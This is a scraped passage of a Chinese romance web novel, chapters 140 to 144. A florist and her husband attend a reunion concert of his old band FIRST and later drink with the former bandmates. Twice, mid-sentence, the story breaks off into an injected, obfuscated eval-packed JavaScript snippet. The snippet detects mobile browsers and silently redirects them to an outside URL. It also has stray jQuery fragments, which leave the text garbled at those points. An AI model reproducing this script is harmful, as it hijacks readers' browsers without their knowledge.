“我在家,傅斯灼。”她打断他,小声道,“我就在我们的家。” 傅斯灼脚步顿住。 沈珠楹说:“我现在就在楼上书房。” 她声音带几分哭腔。 “傅斯灼,你过来抱抱我吧。” 傅斯灼三步并作两步地上楼,刚一打开门,一抹娇小的身影就立马冲进了他怀里,像只毛绒绒的小球,使劲儿蹭了蹭他。 “怎么了?”傅斯灼双手捧着她的脸,给她抹去眼角的泪,声音很轻,“怎么哭了?” 沈珠楹眨了下眼睛,说:“我看到了,傅斯灼,你做的那个相册,是给我的吗?” “怎么会还有别人呢?”傅斯灼愣住片刻,随即喊她,“风信子小姐。” 虽然本来是打算在除夕那天给她的,但是……其实什么时间都可以,只要对象是她的话。 “好吧,我很喜欢。”沈珠楹再次满足地蹭了蹭他,小声说,“真的很谢谢你,傅斯灼。” 其实在傅斯灼做出这些事情,沈珠楹一直都没有意识到,她真的很需要傅斯灼的回馈。 她大约没有自己想的那么无私。 沈珠楹想,她需要傅斯灼能回馈给同样多的爱意,好让她在心底,慢慢地去弥消那些年的不平衡。 “宝宝……”傅斯灼抱着她,抱得很紧,随即低声道,“该说谢谢的应该是我。” 沈珠楹感觉到傅斯灼轻吻她的鬓角。 他低声对她说:“沈珠楹,谢谢你爱了我我这么多年,我真的,很需要你的这份爱。” “真的吗?”沈珠楹吸了吸鼻子,说,“那就太好了,傅斯灼。” 沈珠楹其实一直感到惶恐。 她很怕自己会给傅斯灼带来压力。 假如她只是一个遥远而沉默的观察者,并没有飞蛾扑火般地奔向他,一次又一次,那么这份爱,当然会只有柔和与喜悦。 但是很可惜,她其实很贪心。 她是一个笨拙又努力的追随者。 她从头到尾,都想要得到他,想跟他产生交集,最后像现在这样,坦诚而明亮地拥抱,亲密而柔软地接吻。 那么,假如她现在真的得到,是会想要回馈的,是需要同样热烈而真诚的爱,来浇灌这些年的贫瘠。 于是傅斯灼捧着她的脸,垂颈,轻轻抵住她的额头。 “沈珠楹,你给我一点时间,我都会一一补偿给你。” 我会努力地拼凑出你的来时路,然后一步一步地,如同你曾经奔向我一样,飞奔向你。 沈珠楹安静片刻,满足地笑了。 “你真好,傅斯灼。” 明明没必要如此真诚。 “你更好,沈珠楹。” 明明没必要如此辛苦。 “那现在……我想问一些高中那会儿,憋在心里很久的问题,你一定要如实回答我。”沈珠楹脸上出现了几分严肃。 “好,你问。”傅斯灼神色变得郑重。 “就是……我想问问……”她顿住几秒,诚恳询问,“你高中时期内裤也穿这么贵吗?” 傅斯灼:“……” “……沈珠楹。”他哭笑不得地喊她。 这要他怎么回答。 “好喔。”沈珠楹埋在他怀里笑得不行,这才又问,“我其实想问,你高中那会儿总是喜欢哼歌,是哼的什么歌啊?” “那时候国外爱听blaCk GUnS的歌,国内听周杰伦比较多。” 傅斯灼语气顿了顿,最终把脑袋埋在她肩头,声音很低地说:“也很贵。” 啊啊啊啊啊啊! 沈珠楹噗嗤笑出声,说:“我刚刚是开玩笑的。” 谁关心他高中那会儿内裤贵不贵,她可没那么变态。 傅斯灼轻叹一声,说:“我知道。” 不过还是说了。 “喔呦——,傅斯灼。” 沈珠楹安静片刻,开口道:“你现在好爱我啊,傅斯灼。” 她仰头,努力想从男人怀里钻出来。 “耳朵是不是红了?给我看看。” 她早就发现了,傅斯灼的耳朵很敏感,平常她凑到他耳边讲话都容易红。 “没红。”傅斯灼否认,摁住她不准动,开始转移话题,“今天晚上想吃什么?” “我想吃水煮肉片和剁椒鱼头。”沈珠楹飞速说完,又继续刚刚的话题,“那你给我看看呀。” “看什么?”傅斯灼顿住几秒,尾音上扬,“——内裤?” “乖——”他嗓音刻意拖长,慢悠悠道,“——吃完饭再看。” 沈珠楹:“……” “我说耳朵呀耳朵!”沈珠楹略微抬高了声音,“傅斯灼!你不要老污蔑我!” “污蔑你什么?” 他肩膀轻颤着,俯身将她抱起来,沈珠楹动作熟练地盘住他的腰。 两个人自然而然地往外走。 猪猪站在原地,眼睁睁地望着他们走了,无语片刻,亦步亦趋地跟在两人身后。 他们还在争论。 “就是……”沈珠楹气得捶他背,“污蔑我那个呀。” 现在店里的老顾客都在传她占有欲很强,而且很喜欢跟黑猫老公色色! “哪个啊?”男人抱着她下了楼。 “就是!”沈珠楹闭了闭眼,略微抬高了声音,“——谁对你内裤感兴趣啊?” 她话音刚落,视线就与刚买完菜的李姨对了个正着。 沈珠楹:“……” 李姨:“……” 傅斯灼:“……” 李姨手里的菜“啪嗒——”一声掉在地上。 她马不停蹄地转身。 “对不起啊,先生太太。”李姨下一秒就踏出了别墅,只余慌忙苍老的声音在别墅里回荡。 “我孙子还要去接我放学,我先走了,你们继续。” 第140章 来参加乐队的演唱会 沈珠楹默默把脑袋埋入傅斯灼怀里。 ……感觉这辈子的脸都被丢光了。 不过沈珠楹很快就没功夫纠结这个了,因为临近除夕,她的花店又开始忙碌了起来。 沈珠楹每天忙得脚不沾地,又临时雇了两个员工才稍微能空出一口气。 年后有一段时间会更忙,因为年后办婚礼的人多,订单量也很大。 “您的九十九朵红玫瑰订好了,欢迎下次光临。”笑着目送店里的最后一位客人离去,沈珠楹终于放松了下来。 她坐在前台,抹了把额头上的汗,本来还累得不行,一看电脑上面的营业额,立马弯眸,眸子亮晶晶的。 太棒了! 是可以供得起贵内裤的营业额! 今天也是养得起傅司长的一天! 正兴奋着,花店门口突然传来了“笃、笃、笃”的声响,随即风铃声响起。 沈珠楹仰头看去,笑着说道:“欢迎光临花间集。” 进来的是一个二十几岁的姑娘,皮肤白皙,瓜子脸,整个人的气质干净而宁和。 她的眼睛很大,睫毛很长,可惜一双眸子空洞而无神。 她一手拿着一封信笺,另一只手上拄着导盲手杖。 “笃、笃、笃、笃” 她用特有的缓慢节奏,慢慢地走进了这家花店。 沈珠楹看见她,眼睛更亮。 “晓蓉!好久不见,你什么时候回的京市?是来找我的吗?” “对啊,珠珠。”程晓蓉听见她的声音,动作顿住,蓦地笑了,说,“我来邀请你,参加我的印花刺绣展。” “天呐,晓蓉!我就知道你可以!”沈珠楹赶忙跑过去拉住她的手,一脸激动,“我就知道你可以做到。” “是的,珠珠。”程晓蓉一双眼睛仍然无神,眼眶里却饱含泪水,“我做到了。” 她摸索着,把自己手里的信笺递给沈珠楹。 “是在五天后,珠珠,真的很谢谢你这些年的鼓励。”她再次开口,一脸认真地道,“我这次过来,是想邀请你,来参加我印花刺绣展。” “你那天有空吗?” 沈珠楹接过信笺,视线在“办展人:程晓蓉”停留片刻,随即笑了,小声夸道:“好棒啊,晓蓉,这些年辛苦了。” 她跟程晓蓉是在一次非遗博览会上认识的,因为年龄相仿,又意外发现彼此的爱好相似,所以一直玩到了现在。 沈珠楹知道,她一直以来的梦想,就是开一场属于自己的印花刺绣展。 但是…… 沈珠楹抬眸,看向她黯淡无光的眸子。 这条路真的辛苦了。 沈珠楹开口道:“我当然有空。” “不过……我可以带一个家属去吗?” “家属?”程晓蓉愣住,很快说,“当然可以啊,但是……我可以问问是谁吗?” “可以的。”沈珠楹想了想说,“是我老公,你也认识的。” 程晓蓉先是一惊:“你结婚了?什么时候?” 随即便有几分犹疑:“你老公……我认识吗?” 两个人的交友圈基本不重合,程晓蓉一时半会儿还真找不出一个两人的共同好友出来。 “嗯,认识啊。”沈珠楹一本正经地说,“是我们老朋友了。” “老朋友……吗?” 程晓蓉想了半天,也没想出来有这么一个人,最终放弃,问道:“你老公……叫什么名字啊?” “先保密。”沈珠楹冲她眨了一下眼睛,“你到时候就知道了。” 两个人坐在沙发上,就着窗外的阳光,又笑着聊起彼此这几年的情况。 等到太阳西陲,程晓蓉感觉到脸上不再有温暖的光束洒下,这才依依不舍地,起身离开。 程晓蓉离开后,沈珠楹又张罗了几个客人,等到时间差不多了,她起身看了一眼时间。 大约还有半小时,傅斯灼就要来接她了。 沈珠楹支着下巴,又漫无目的地刷了一会儿手机。 这几天手机上铺天盖地地全是FIRST乐队的消息。 这支在2015年的夏天异军突起又迅速沉寂的乐队,似乎在2025年的冬天,再次席卷而来。 与此同时,FIRST乐队以前的微博账号又被重新翻了出来,最新的一条视频仍然停留在2015年的12月。 是那年发的新歌——《敬未来》。 因为最近《青春乐队》决赛的热度,再次进入了大众视野,播放量很快过了五千万。 沈珠楹盯着看了一会儿,随即点开这条她看了无数遍的视频。 背景是一间黑色的练习室,乐队的五个人分工明确,坐在正中间,最引人注目的是一名鼓手,他指骨修长,鼓棒在他手里转动一圈。 “砰——”的一声响,青春激昂的节奏响起。 “粉笔灰落在第三排窗口,折纸飞机穿过钟楼,我们抱着书本在走廊奔跑……” 清亮慵懒的嗓音也随之传来,少年勾唇肆意一笑,只露出半张脸,酒窝若隐若现。 是那年快满十八岁的傅斯灼。 他穿了一件简单的白色体恤,麦克风横放在身前,身体跟随着鼓声耸动,动作随意而自信,满身的少年张扬气,几乎要隔着屏幕溢出。 “敬未来一杯橘子汽水,气泡里炸开十六岁的无畏,当流星划破自习室的窗帷,我们约好要成为宇宙与银河……” 沈珠楹安静地听完了这首歌,又点开了热评。 热评的第一条是2015年的评论。 “我赌五包辣条,这支乐队以后一定会火,特别是他们乐队的主唱,声音和各方面的气质都太带感了。” 这条评论底下,回复最热的一条,时间便来到了2025年。 整整十年过去了。 【我奶天下无敌】:兄弟,给我五包辣条,乐队主唱查无此人了,火的是键盘手柯以。 【成都0】:五分钟,我要知道这名鼓手的全部信息,只有我觉得他唱得更有感觉吗? 【大学生代课,五毛一次】:姐妹,别怀疑,我已经单曲循环好几天了。 风铃声再次响起,沈珠楹这才抬头看去。 “欢迎光临花间集!” 看见来人,沈珠楹再次愣住。 来得是一个她怎么样都想不到的人——柯以。 大概是因为怕被人认出来,他全身裹得很严实,鸭舌帽,口罩,墨镜,三件套一个不少。 但是那头标志性的狼尾还是将他暴露得一清二楚。 他走到前台,清咳一声,似乎有些不自在,问道:“你们这儿……有石榴花吗?” “有的。”沈珠楹起身,问,“您要几枝?” “随便几枝。” 沈珠楹转身,抽了十几枝石榴花包好,转身正打算递给他,就注意到他此时摘了墨镜,冲她“嘘——”了一声,说:“是我——” “——别太激动。” 沈珠楹:“……” 谁激动了。 她正要把花递给他,就见他突然从兜里掏出了两张门票,别扭了半天,最终把门票递给她。 “演唱会门票正好剩了两张——” 他顿住几秒,说。 “——来参加我们乐队的演唱会吧。” 第141章 老大!!! 沈珠楹盯着这两张演唱会门票,刚要开口,门口风铃声就响起。 随即一道平淡清冷的声音响起。 “我会去的。” 柯以听到这道声音,身形僵住,拳头很快握紧,又缓缓松开。 傅斯灼走进来,拍了拍他的肩,重复道:“我会去。” 柯以撇开脑袋,声音变得很僵硬。 “好像没人邀请你。” 安静几秒,他又勉强补充道:“不过你想去的话,我也没办法。” 傅斯灼盯着他看,随即偏头笑了,说:“那你把票收回去吧。” “欸,你……” 柯以下一秒就转身,整个人一下就炸了毛,眼底两簇火焰蓦地升了起来。 “随便你,去不去都随便你,傅斯灼,反正我柯以送出去的东西,就没有收回来的道理。” 柯以气冲冲地把票扔在前台,正要离开,就听到傅斯灼对他说。 “早就买好票了。” “我跟我太太,我们是凌晨蹲点抢的票。” 傅斯灼把前台的那两张票递还给他,说:“所以就算没人邀请,我也会去看这场演唱会。” “……” 柯以别扭地“哦”了声,语气也缓和下来。 “随便,我反正也不关心,不过剩下的这两张演唱会门票,座位号正好跟那群家伙挨在一起。” 他一脸傲慢地道:“反正我柯以送出去的东西,从来没有收回去的道理。” “去不去都随你,坐哪里也随你。” 柯以推开门,正要往外走的时候,傅斯灼喊住他,轻声夸道。 “柯以,干得不错。” “你现在,是一个很合格的队长。” 远比他合格许多。 柯以紧紧咬着腮帮子,一时说不出话来。 他靠了一声,说:“谁稀罕你的认可。” 柯以往外走了两步,最后还是不甘心地停下了脚步,问:“你现在后悔了吗?” “我们乐队现在这么火,你要是现在后悔,想回来了,我就还让你当队长。” 傅斯灼沉默几秒,还是说:“没有。” 靠啊! 柯以气得跳脚,说:“谁问你后没后悔,谁关心你后不后悔?!” 他气急败坏地往外走,忘记推门了,直接“DUang——”的一声撞在了玻璃门上,与正好要进去地两个小姐姐面对面对视了。 两个小姐姐看他的眼神颇为一言难尽。 一直等柯以离开,其中一个女生才后知后觉地道:“欸,刚刚那个人,不是你最近很喜欢的那个乐队主唱吗?” “怎么可能?”另一个小姐姐低着脑袋,动作熟练地切号做数据,“我们柯以宝宝很酷的,他才不会那么蠢了。” 还没走远的柯以:“……” 又一个踉跄。 沈珠楹盯着他离去的背影,又低头看着这两张电影票。 演唱会的地点是在鸟巢,时间是两天后,下午六点。 这是《青春乐队》节目组对节目冠军的奖励之一——在京北市的鸟巢,举办一场只属于他们的演唱会。 “那我们拿这两张VIP票去看演唱会吧,傅斯灼。”沈珠楹弯眸笑着,仰头对傅斯灼说。 “好。” “对了!还有一件事!”沈珠楹转头拿出了那张请柬,递给傅斯灼,“是我有个朋友,她办了一个印花刺绣展,也邀请我们去参加。” “你到时候要是有空的话,那我们就一起去吧?” “我想把你介绍给她认识,她会很高兴认识你的,傅斯灼。”沈珠楹一脸认真地道。 傅斯灼当然没办法拒绝这样的沈珠楹。 演唱会当天,鸟巢外人山人海,人挤着人。 傅斯灼紧紧牵着沈珠楹的手,生怕她走丢了。 结果沈珠楹这人,一到人多的地方,就像鱼放入了水里,“呲溜——”一下就从他手里溜走了。 她注意到场外有人排起了长队,也不知道在做什么活动,兴致勃勃地就拉着傅斯灼开始排。 排到以后才发现,是粉丝特意做的应援棒和应援手幅。 她的视线划过映有各个乐队成员的海报,横幅和发亮的发箍等,眼睛立马亮了。 她找到其中一个,命令傅斯灼俯身,然后一脸认真地帮他把发箍带了上去。 她又摁下某个开关,发箍上的几个字母开始闪闪发光——FIRST。 没错!她是团偏傅斯灼! 因为当年傅斯灼在学校太过于瞩目,直接喊他名字当然不符合她暗恋的风格,于是沈珠楹想了半天,想到了他组建的那支乐队名——FIRST。 FIRST,按照沈珠楹的理解,这是“一流”的意思,一流就是永远A等级的意思,于是沈珠楹在后来的很多年,跟朋友或同学提及高中时期就喜欢的人,她都会用A同学代替,然后小心翼翼地提起他。 怕他们发现什么,又沮丧他们怎么什么也没发现。 嘿,我喜欢A同学哦,难道你们就没有联想到什么吗? 笨死了!!! A同学,明明她的提示都这么明显了! 而此时的A同学笑着牵住她的手,说沈珠楹,你不要乱跑,让我找不到你。 “我哪有乱跑。”沈珠楹不服气地鼓腮,正想说些什么,听到不远处传来好几声惊天动地又感人肺腑的—— “老大!!!” 沈珠楹一转身,只见三个身形和年龄各异的男人一脸激动与涕泪交加地朝她飞奔而来,然后…… 三个男人全都扑到他老公身上了!!! 沈珠楹:“……” !!! 放开我老公,让我来!!! “我靠,我就知道柯以那小子一定会给你送票的,那小屁孩还跟我说傻逼才给你送票,真傻逼啊。” 他整个人圆滚滚的,让沈珠楹幻视一只成了精的猪猪。 “老大啊老大,你还知道过来呜呜呜呜我都快想死你了……” 开口的这人涕泪横流,剃了个光头,身形又高又壮,妥妥的肌肉猛男,像个凶猛的社会老大哥,与旁边那座肉山形成了鲜明的对比。 等等……不是旁边…… 还有一个又矮又瘦的男人被挤在中间,只得颤颤巍巍地举起一只手,喊道:“老大救我!!!” 救什么??? 傅斯灼此时少爷病和洁癖一同发作,额角跳了跳,咬牙切齿地道:“你们先放开我,好好说话。” 又不是他老婆,搂搂抱抱像什么样子!!! 三人动作都是一顿,异口同声又哭声更甚地喊:“老大!!!” 太好了,这嫌弃的语调,还是他们那个熟悉的老大!!! 第142章 未来属于你 “你们差不多得了,我还没死呢。”傅斯灼安静几秒,一脸无奈地笑了。 三人不管,继续抱着他哀嚎。 沈珠楹站在一旁,笑意盈盈地看着。 “老大,这就是嫂子吗?”中间那个瘦矮夹心率先受不了了,松开傅斯灼,一脸兴奋地道。 “是。”傅斯灼忍无可忍地挣开另两人的桎梏,转头搂住了沈珠楹的肩,侧头看向她,眼底泛出柔软的笑意,“我太太,沈珠楹。” “大嫂好,我叫魏雨,之前大家都喊我辫儿哥,你叫我小辫就好。” 沈珠楹:“……” 她盯着魏雨那锃亮的光头和夸张的肌肉,很明智地没有多说什么,只轻点了下头,说:“你好。” “你可拉倒吧。”旁边那个胖子白他一眼,“就你还辫儿哥,现在连根头发都没有。” “嫂子,久仰大名。”他看向沈珠楹,笑眯眯地道,“我叫周勇,你叫我小勇就好。” 实际上傅斯灼结婚以后,有在他们之前的群里提过一嘴,当初除了柯以那个死傲娇,他们几个都送上了祝福。 那年傅斯灼提出要退出乐队,他们几个可以说是真的撕破脸了,可不知道为什么,当初建的那个“银河系第一乐队”群倒是一个人都舍不得退,就这么一直安静又沉默地存在着,直到半年前,傅斯灼主动在群里发了一句—— “我结婚了。” ——至此破冰。 乐队的其他人也开始在群里分享一些近期的生活,不远又不近地,小心翼翼地隔着网线,保持着一丝联系。 那年他们在群里,天南海北什么都聊,聊得最多的是音乐与梦想,后来没了音乐与梦想,他们能想出来的共同话题也少得可怜。 “我我我……”中间那个矮瘦男生略微有些羞怯地道,“嫂子好,我叫杨枝。” “你们好。”沈珠楹弯眸,再次冲他们点头。 演唱会快要开始了,几个人检票进场。 台上,各方人员已经开始调试音乐设备。 台下,粉丝和听众正屏息以待。 昏暗又有氛围感的灯光洒下来,柯以坐在架子鼓前,台下粉丝尖叫声不断,他食指凑在唇边,“嘘——”了一声。 台下彻底安静下来。 下一秒,他鼓棒用力往下敲,电吉他的声音也随之响起,音浪翻滚着,演唱会开始。 第一首,是FIRST乐队当年的成名曲——《breakdown》。 至此,演唱会开始。 这还是沈珠楹第一次看演唱会。 沈珠楹不知道其他人的演唱会的氛围如何,她此刻沉浸在其中,只有一个感受——燃。 现场的氛围像是被火焰点燃了,一群互不相识的陌生人坐在一块儿,不约而同地合唱着同一首歌,尖叫声肆意。 全场氛围与当年在附中烟火晚会上的氛围相似,体量却早已不可同日而语。 沈珠楹望着全场浩瀚无垠的红海,忍不住想—— 傅斯灼,那年你十六岁,有没有想过无数次,以后也要在这么大的舞台上唱歌呢? 她偏头看向傅斯灼。 傅斯灼抬头在看舞台,眼神很专注,却在高音出来之前,提前帮她捂住了耳朵。 他俯身弯腰,凑到她耳畔,低声问:“珠珠,感觉怎么样?还适应吗?” 尖叫声与音浪都被他隔绝在耳边,只余柔软而舒适的溪流在缓缓流淌。 沈珠楹偏头,仔细地盯着男人看。 看他此时温和又沉稳的眉眼,好像那年十六岁,肆意热烈的少年头也不回的离去,再不会朝他招手。 而沈珠楹摇了摇头,干脆摘了助听器。 整个世界都安静下来的那一刻,她重新听见了自己的心跳声。 扑通—— 扑通—— 一下又一下,热烈又有力地跳动。 她想起周清兰说:“阿灼和阿华,越来越像了。” 她想起陈婉君说:“他是**犯,是他杀**阿灼。” 而傅斯灼此刻低头,也看向她,眼底有毫不掩饰地真诚与干净。 傅斯灼启唇,嘴里刚吐出“宝宝——”两个字,唇就被沈珠楹义无反顾地堵住。 有时候这个世界的声音太杂乱了。 沈珠楹听着自己仍然热烈跳动的心跳声,在心底无比笃定地想—— “他没变。” 傅斯灼就是傅斯灼。 是独一无二,是只此一个。 而沈珠楹此时完全不知道,整个演唱会现场此时充满了尖叫声,起哄声,气氛热到简直要**—— 两人接吻的画面,此时被摇臂摄像机捕捉,投射到了大荧幕上。 傅斯灼此时也丝毫没有察觉到。 他低下头,专注与她接吻,眼底泛着柔软的光。 直到沈珠楹回过神来,注意到两人接吻的画面被投到了大屏幕上,脸直接“蹭蹭蹭——”爆红,推开傅斯灼,感觉没脸见人了,转头埋进了男人怀里。 傅斯灼猛地被姑娘推开,愣住片刻,随即注意大屏幕上的两人,偏头笑了,轻揉她的发丝,笑意深深,酒窝明显。 现场尖叫声更甚。 摇臂摄影师随即偏了个镜头,将画面投到一旁已经看呆了的另外三名队员身上,尖叫声瞬间消失得一干二净。 镜头再转到傅斯灼身上,尖叫声再次响起。 再转到三名队员——尖叫声消失。 再转到傅斯灼——尖叫声响起。 再转到三名队员…… …… 摇臂摄影师似乎是玩上瘾了,乐此不疲地转换着视角。 直到三名队员原本的表情由震惊转向无语,这场闹剧才算结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308229|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束。 台上,柯以本来还在认真唱歌,目睹到这一幕,憋了半天,还是没憋住,“噗嗤——”笑出了声。 这下惨了,他趴在架子鼓上,不知为什么,肩膀笑得发颤,彻底唱不下去了。 他一边笑一边想,这算演出事故吗?他这么笑会不会被扣钱?不管了,反正老大有钱,大不了找他要。 台上其他队员不明所以,不过看见他们队长笑了,他们也跟着笑。 好好的一场演唱会,变成了一片欢乐的海洋。 只有策划的导演没笑,他在对讲机里骂柯以。 过了十几分钟,柯以终于止了笑。 他重新拿起话筒,想起了刚刚那幕,然后就想——算了,算了。 都过去了。 鼓棒猛地往下一敲,演唱会重新开始。 中途气氛嗨到爆。 直到演唱会的最后一首歌——《敬未来》。 根据演唱会设计的流程,最后一首歌,队长柯以能够随意指定台下的任意一名观众跟他们合唱。 柯以拿起话筒,额头上已经渗了汗。 他站在台上,光鲜亮丽,底下听众无数,乌泱泱地一大片人,挥舞着乐队名字——FIRST。 好像是他一直所期待的,一直想要证明的。 可是为什么在兴奋之外,他却仍然感到怅然与不舍呢? 今年,是FIRST乐队成立的第十一年了。 柯以沉默片刻,最后直直看向舞台下的那个人,一字一顿地道:“我选择坐在演唱会一排一号的……那位……” 那位…… 那位什么呢? 柯以不想称他为粉丝,或者是观众。 于是重复道:“——那位。” 摇臂摄影师动作熟练地镜头定格在傅斯灼身上。 大屏幕上再次出现他那张脸,尖叫声果然再次响起。 有的人好像天生就有一种魔力,能轻易成为人群中的焦点。 以前是,现在也是。 话筒被递到傅斯灼手里。 傅斯灼拿起话筒,看向好像是独自一人,站在舞台上的柯以,轻摇了下头,笑了。 “老大……”柯以似乎意识到什么,他握紧了话筒,最终不甘地,这样喊他,“你别……” 你别……总是能这样,决定好以后,就头也不回地往前走。 关于自己的梦想,关于别人的梦想,总是全力以赴。 但是傅斯灼仍然开口道。 “这么好的机会,留给真正属于你的听众吧。” “柯以——” FIRST乐队的第五任队长—— “未来属于你。” 光与舞台,也属于你。 柯以身后,巨大的舞台屏幕缓缓浮现三个字——《敬未来》。 欢迎收听。 第143章 漂亮的星花 歌曲青春跃动的前奏响起,柯以站在台上,红着眼睛,迟迟不肯开口。 傅斯灼沉默着,也没再开口。 他最终转过身,把话筒递给了坐在后排的观众。 她原本正激动地挥舞着荧光棒,头上戴着“FIRST”样式的发箍,两眼亮晶晶地看着舞台。 盯着突然递过来的话筒,她指了指自己,结结巴巴地问:“……我吗?” “对。”傅斯灼低声笑了,说,“是你。” “谢……谢谢。” 她接过话筒。 傅斯灼又摆了下手,示意摇臂摄影师将镜头对准她。 于是傅斯灼那张脸从大荧幕上彻底消失了,取而代之的是粉丝小姐姐懵然的脸。 她很快反应过来,两颊涨得通红,听着伴奏,开始试探性地唱歌曲《敬未来》。 “敬岁月一捧月光如水,倒映着秘密基地的野蔷薇,就算明天被大雨淋湿墙角,掌心的温度还停在初见那刻的晨晖……” 唱得很好,可以听出,她曾经在私下练过很多遍。 靠! 柯以偏了下头,眼泪落下来的那一刻,咬着牙,鼓棒落下,“砰——”的一声响。 “当现实把棱角磨成鹅卵石,我们依然在暴雨里写诗,用自行车链条丈量城市,把叹息折成纸船顺流而驰……” 柯以一边唱,一边盯着台下,昔日的队友们看。 他们眼底满是欣慰与鼓励。 于是柯以终于明白—— 曾经同行的人最终歧路,他真的要一个人,义无反顾地往前走了。 他哽咽着,哭着笑着,轻轻唱最后一句。 “看啊,漫天星子正在春天发芽,长成我们嘴角漂亮的星花。” 演唱会落幕以后,粉丝陆陆续续开始散场,偌大的演唱会场馆很快就空空如也。 傅斯灼牵着沈珠楹的手,轻轻摩挲着,偏头看向另外三人,问:“去老地方聚聚吗?” “走着,不过……老大,你要不要问问柯以那个小屁孩去不去?” “嗯。”傅斯灼脸色有几分怪异,说,“刚刚问了。” “他回的什么?” 傅斯灼:“他说……**才去。” 魏雨一拍自己锃亮的光头,说:“那妥了,我们先去吧,他等会儿自己就过来了。” 老地方在京北附中的一家烧烤店,顶楼。 一行人吹着晚风,一边等烧烤上来,一边漫无目的地闲聊。 “欸,辫儿哥,你怎么突然把你那辫子给剃了,之前还老说什么‘音乐不死,辫子不剪’吗?怎么这会儿就突然就把那辫子给一刀剪了?” “害——”辫儿哥黑老大般的面孔,蓦地浮现出一抹笑,“我这不是……我媳妇儿马上就要生了,万一要是个女孩,我之前留那个辫子,不是会吓到她吗?” “对,以前是被吓哭,现在的话……我估摸着你那小孩,可能一生下来就会跑了。” “什么意思?” “一看见你,连夜坐火车跑了呗。” 辫儿哥:“……你大爷的,滚。” “对了老大,你跟嫂子,打算什么时候要小孩啊?” 傅斯灼那会儿正揽着沈珠楹的肩,绕着她的发丝,慢悠悠地转,一听这话,动作停住,愣了片刻。 孩子? 傅斯灼下意识地看向沈珠楹。 虽然跟沈珠楹有一个孩子,听上去是一件很不错的事情,但是生一个孩子很辛苦,傅斯灼并不太想让她经历这些。 于是他笑了一下,偏开话题,说:“还在筹备婚礼,到时候给你们送请柬。” “得嘞。”胖胖的周勇举起手,“我也没什么能送的,到时候把我养殖场里还没出栏的猪送过去给你助兴。” “你那几头猪,还是留着自己赚钱吧。” 不远处传来一道硬邦邦的声音,几个人朝那边看过去,只见一抹倔强的身影隐没在黑暗中。 他舞台妆都没来得及卸,急匆匆地就赶了过来。 于是其他四人看着他,不约而同地笑了。 傅斯灼冲他招手,说:“来得真是时候——” “——就差你了。” 等柯以一脸别扭地落座,沈珠楹就小声地对傅斯灼说:“傅斯灼,我姐刚刚给我打电话,叫我跟她出去聚一聚,我就先走了。” 傅斯灼了然地看她一眼,低声无奈喊:“老婆——” 哪有这么巧的事? “——我送你。” “你送我做什么?我姐马上就过来接我了,你跟他们好好聚。”语气凶巴巴。 沈珠楹毫不留情地甩开他的手,提起包就溜了,转身冲几人笑得明艳,“我先走了,你们慢慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311299|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝。” “靠。”周勇看呆了,说,“嫂子笑起来好漂亮。” 跟他们平常说的那种漂亮还不太一样,是那种……很有生命力的漂亮,让人想要靠近,眼底却仍然只有欣赏。 傅斯灼幽幽看他一眼,直把周勇看得浑身冒冷汗,随即他笑了,说:“是很漂亮。” “哎呦老大!”周勇擦了把冷汗,“你怎么还跟以前一样,说话大喘气啊,吓死我了!” 傅斯灼低头开了一瓶啤酒,笑起来有几分少年得意。 “行了。”他举杯看向他们,环视一圈,蓦地一笑,说,“干了。” “干了!!!” 喝到一半,酒瓶子扔了满地。 周勇举起了自己胖乎乎的手:“欸,你们还记得,当初我们这乐队名是怎么来的吗?” 柯以的傲娇瘾又犯了,冷哼一声,说:“不记得了。” “你个小屁孩!”魏雨黑着一张壮汉脸,“pia——”一下敲他脑袋上,“周勇过年把你炖了一夜,发现嘴还没炖软!” “当年这名字,不就是你提出来的?” 那年乐队刚成立,讨论名字的时候,FIRST这名字一被提出来,五个人里面四个投了双手赞成票,只有傅斯灼死活不同意,因为他嫌这名字跟他同音,莫名羞耻。 但是傅斯灼就算是队长,也仍然反对无效,因为他们是**集中制。 不仅反对无效,后来玩真心话大冒险,傅斯灼连输好几把,被他们逼着,把各种账号上的名称都改成了FIRST。 回忆往昔总是很美好的,就算是此时一脸别扭的柯以,也不想说什么破坏氛围的话。 “老大。”魏雨率先举起手里的酒,没忍住,抹了把眼泪,说,“真的对不住,当年,我话说重了。” 假如有时光机的话,魏雨其实挺想回到那天,把伤人的话都收一收,然后祝他们老大一路平安。 那年他们讲兄弟义气,说好要去看BlackGuns的演唱会,结果四个人不约而同地,谁也没去,一起出现在这家烧烤店的时候,四个人拿着手里那张演唱会门票,笑得像个**。 他们几个商量好一起给他们老大过一个十八岁的生日,后面电话打过去,没人接听。 失联了十几天,再次把他们聚齐以后,没解释什么,只一脸平静地说要退出乐队。 第144章 敬青春 是在后来的后来,很久以后,他们才从别人口中,得知傅家大哥去世的消息。 大约与此有关吧,他们也只能如此猜测。 因为即便到了现在,他们也仍然不知道具体原因。 “老大,真的,你就把我们那时候说的话,当屁放了。”周勇起身,跟他碰了下杯,仰头把酒干了,说,“以后还是兄弟。” 傅斯灼偏头笑了,沉默良久,他轻描淡写地说:“本来就没往心里去。” 一切因他而起。 是他该受的,也是他应得的。 “行了,差不多得了。”一直没出声的柯以小声嘟囔道,“一群大老爷们儿,都在那儿矫情什么呢?” “你个臭小子!到底会不会说话?”除傅斯灼外的其他人,都不约而同地给了他一爆栗。 傅斯灼坐在一旁,抱着胳膊,笑意汹涌。 